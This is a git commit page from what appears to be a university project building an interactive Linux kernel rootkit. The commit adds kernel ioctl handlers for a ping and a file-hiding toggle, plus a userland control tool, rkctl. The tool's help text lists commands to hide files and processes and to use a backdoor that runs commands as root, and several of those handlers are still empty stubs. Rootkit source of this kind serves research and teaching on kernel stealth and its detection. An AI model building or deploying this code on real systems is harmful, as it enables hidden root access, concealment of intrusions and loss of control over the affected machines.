linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 5db40f80b15f67ccbef6375f6f953268c8f513f2
parent 1e8e3546e3fa24f847f2cccd02d7d0884c6fd170
Author: deurzen <m.deurzen@tum.de>
Date:   Thu, 26 Nov 2020 19:11:21 +0100

adds initial control program code

Diffstat:
M.gitignore | 1+
MMakefile | 3+++
Asrc/channel.c | 64++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/channel.h | 16++++++++++++++++
Msrc/g7.c | 5+++--
Dsrc/ioctl.c | 62--------------------------------------------------------------
Msrc/ioctl.h | 16----------------
Asrc/rkctl/rkctl.c | 118+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Asrc/rkctl/rkctl.h | 29+++++++++++++++++++++++++++++
9 files changed, 234 insertions(+), 80 deletions(-)

diff --git a/.gitignore b/.gitignore @@ -12,3 +12,4 @@ /modules.order /src/.*.o.cmd /src/*.o +/rkctl diff --git a/Makefile b/Makefile @@ -22,6 +22,9 @@ release: clean build build: @make -C $(KERNELDIR) M=$(PWD) modules +client: + @cc -O2 -std=gnu99 -o ./rkctl ./src/rkctl/rkctl.c + clean: @make -C $(KERNELDIR) M=$(PWD) clean diff --git a/src/channel.c b/src/channel.c @@ -0,0 +1,64 @@ +#include <linux/kernel.h> +#include <linux/module.h> +#include <linux/uaccess.h> +#include <linux/ioctl.h> + +#include "channel.h" +#include "common.h" +#include "filehide.h" +#include "ioctl.h" +#include "rootkit.h" + +#define BUFLEN 4096 + +static char buf[BUFLEN]; + +extern rootkit_t rootkit; + +void +report_channels(void) +{ + DEBUG_NOTICE("-----------------------------------\n"); + DEBUG_NOTICE("listening on the following channels\n"); + DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING); + DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE); + DEBUG_NOTICE("-----------------------------------\n"); +} + +channel_t +detect_channel(unsigned cmd) +{ + switch (cmd) { + case G7_PING: return (channel_t){ "PING", handle_ping }; + case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; + } + + return (channel_t){ "unknown", NULL }; +} + +int +handle_ping(unsigned long arg) +{ + copy_from_user(buf, (const char *)arg, BUFLEN); + if (!strcmp("PING", buf)) { + buf[1] = 'O'; + copy_to_user((char *)arg, buf, BUFLEN); + } + + return 0; +} + +int +handle_filehide(unsigned long arg) +{ + bool set; + + if ((set = rootkit.hiding_files ^= 1)) + hide_files(); + else + unhide_files(); + + DEBUG_NOTICE("filehide toggled %s", set ? "on" : "off"); + + return 0; +} diff --git a/src/channel.h b/src/channel.h @@ -0,0 +1,16 @@ +#ifndef _GROUP7_CHANNEL_H +#define _GROUP7_CHANNEL_H + +typedef struct { + const char *name; + int (*handler)(unsigned long); +} channel_t; + +void report_channels(void); +channel_t detect_channel(unsigned); + +// handlers +int handle_ping(unsigned long); +int handle_filehide(unsigned long); + +#endif//_GROUP7_CHANNEL_H diff --git a/src/g7.c b/src/g7.c @@ -7,10 +7,11 @@ #include <linux/uaccess.h> #include <linux/printk.h> -#include "common.h" -#include "rootkit.h" #include "ioctl.h" +#include "channel.h" +#include "common.h" #include "hook.h" +#include "rootkit.h" #define BUFLEN 4096 diff --git a/src/ioctl.c b/src/ioctl.c @@ -1,62 +0,0 @@ -#include <linux/kernel.h> -#include <linux/module.h> -#include <linux/uaccess.h> - -#include "common.h" -#include "rootkit.h" -#include "ioctl.h" -#include "filehide.h" - -#define BUFLEN 4096 - -static char buf[BUFLEN]; - -extern rootkit_t rootkit; - -void -report_channels(void) -{ - DEBUG_NOTICE("-----------------------------------\n"); - DEBUG_NOTICE("listening on the following channels\n"); - DEBUG_NOTICE("%-24s %#10lx\n", "PING", G7_PING); - DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE); - DEBUG_NOTICE("-----------------------------------\n"); -} - -channel_t -detect_channel(unsigned cmd) -{ - switch (cmd) { - case G7_PING: return (channel_t){ "PING", handle_ping }; - case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide }; - } - - return (channel_t){ "unknown", NULL }; -} - -int -handle_ping(unsigned long arg) -{ - copy_from_user(buf, (const char *)arg, BUFLEN); - if (!strcmp("PING", buf)) { - buf[1] = 'O'; - copy_to_user((char *)arg, buf, BUFLEN); - } - - return 0; -} - -int -handle_filehide(unsigned long arg) -{ - bool set; - - if ((set = rootkit.hiding_files ^= 1)) - hide_files(); - else - unhide_files(); - - DEBUG_NOTICE("filehide toggled %s", set ? "on" : "off"); - - return 0; -} diff --git a/src/ioctl.h b/src/ioctl.h @@ -1,26 +1,10 @@ #ifndef _GROUP7_IOCTL_H #define _GROUP7_IOCTL_H -#include <linux/ioctl.h> - #define G7_MAGIC_NUMBER '@' #define G7_DEVICE "g7rkp" #define G7_PING _IOWR(G7_MAGIC_NUMBER, 0x0, char *) - #define G7_FILEHIDE _IOR(G7_MAGIC_NUMBER, 0x1, char *) -typedef struct { - const char *name; - int (*handler)(unsigned long); -} channel_t; - -void report_channels(void); -channel_t detect_channel(unsigned); - -// handlers -int handle_ping(unsigned long); -int handle_filehide(unsigned long); - - #endif//_GROUP7_IOCTL_H diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c @@ -0,0 +1,118 @@ +#include <stdlib.h> +#include <stdio.h> +#include <string.h> +#include <fcntl.h> +#include <libgen.h> +#include <unistd.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <sys/ioctl.h> + +#include "../ioctl.h" +#include "rkctl.h" + +#define BUFLEN 4096 + +static char progname[BUFLEN]; + +int +main(int argc, char **argv) +{ + strcpy(progname, argc ? basename(argv[0]) : ""); + cmd_t cmd = parse_input(argc, argv); + return cmd.f(cmd.arg); +} + +cmd_t +parse_input(int argc, char **argv) +{ + if (argc <= 1 || ARGVCMP(1, "help")) { + help(); + exit(0); + } + + if (ARGVCMP(1, "ping")) { + return (cmd_t){ handle_ping, NULL }; + // TODO: return ping handle + } + + if (ARGVCMP(1, "filehide")) { + ASSERT_ARGC(2, "filehide <toggle | on | off>"); + // TODO: return filehide handle + } + + if (ARGVCMP(1, "backdoor")) { + ASSERT_ARGC(2, "backdoor <execve_command>"); + // TODO: return backdoor handle + } + + if (ARGVCMP(1, "backdoor-use-tty")) { + ASSERT_ARGC(2, "backdoor-use-tty <0 | 1>"); + // TODO: return backdoor-use-tty handle + } + + if (ARGVCMP(1, "hidepid")) { + ASSERT_ARGC(3, "hidepid <add | remove> <PID>"); + // TODO: return hidepid handle + } + + help(); + exit(1); +} + +int +handle_ping(void *arg) +{ + return issue_ioctl(G7_PING, "PING"); +} + +int +handle_filehide(void *arg) +{ +} + +int +handle_backdoor_execve(void *arg) +{ +} + +int +handle_backdoor_toggle(void *arg) +{ +} + +int +handle_hidepid(void *arg) +{ +} + +int +issue_ioctl(unsigned long request, char *argp) +{ + int fd; + char device[BUFLEN]; + sprintf(device, "/proc/%s", G7_DEVICE); + + if ((fd = open(device, O_RDWR)) < 0) { + fprintf(stderr, "%s: unable to open %s, is the rootkit running?\n", progname, device); + exit(1); + } + + int ret = ioctl(fd, request, argp); + close(fd); + + return ret; +} + +void +help() +{ + printf("usage: %s <command>\n\n", progname); + printf("These are the available commands:\n"); + printf("%-32s %s\n", "help", "this message"); + printf("%-32s %s\n", "ping", "send an echo request to the rootkit"); + printf("%-32s %s\n", "filehide <toggle | on | off>", "{,un}hide files"); + printf("%-32s %s\n", "backdoor <execve_command>", "exec a command as root"); + printf("%-32s %s\n", "backdoor-use-tty <0 | 1>", "listen for `make_me_root` on read (0) or tty (1)"); + printf("%-32s %s\n", "hidepid <add | remove> <PID>", "{,un}hide a process"); +} diff --git a/src/rkctl/rkctl.h b/src/rkctl/rkctl.h @@ -0,0 +1,29 @@ +#ifndef _GROUP7_RKCTL_H +#define _GROUP7_RKCTL_H + +#define ARGVCMP(i, x) (!strncmp(argv[i], (x), strlen(x))) +#define ASSERT_ARGC(x, msg) \ + do { \ + if (argc <= x) { \ + fprintf(stderr, "%s: %s\n", progname, msg); \ + exit(1); \ + } \ + } while (0) + + +typedef struct { + int (*f)(void *); + void * arg; +} cmd_t; + +cmd_t parse_input(int, char **); +int issue_ioctl(unsigned long, char *); +void help(); + +int handle_ping(void *); +int handle_filehide(void *); +int handle_backdoor_execve(void *); +int handle_backdoor_toggle(void *); +int handle_hidepid(void *); + +#endif//_GROUP7_RKCTL_H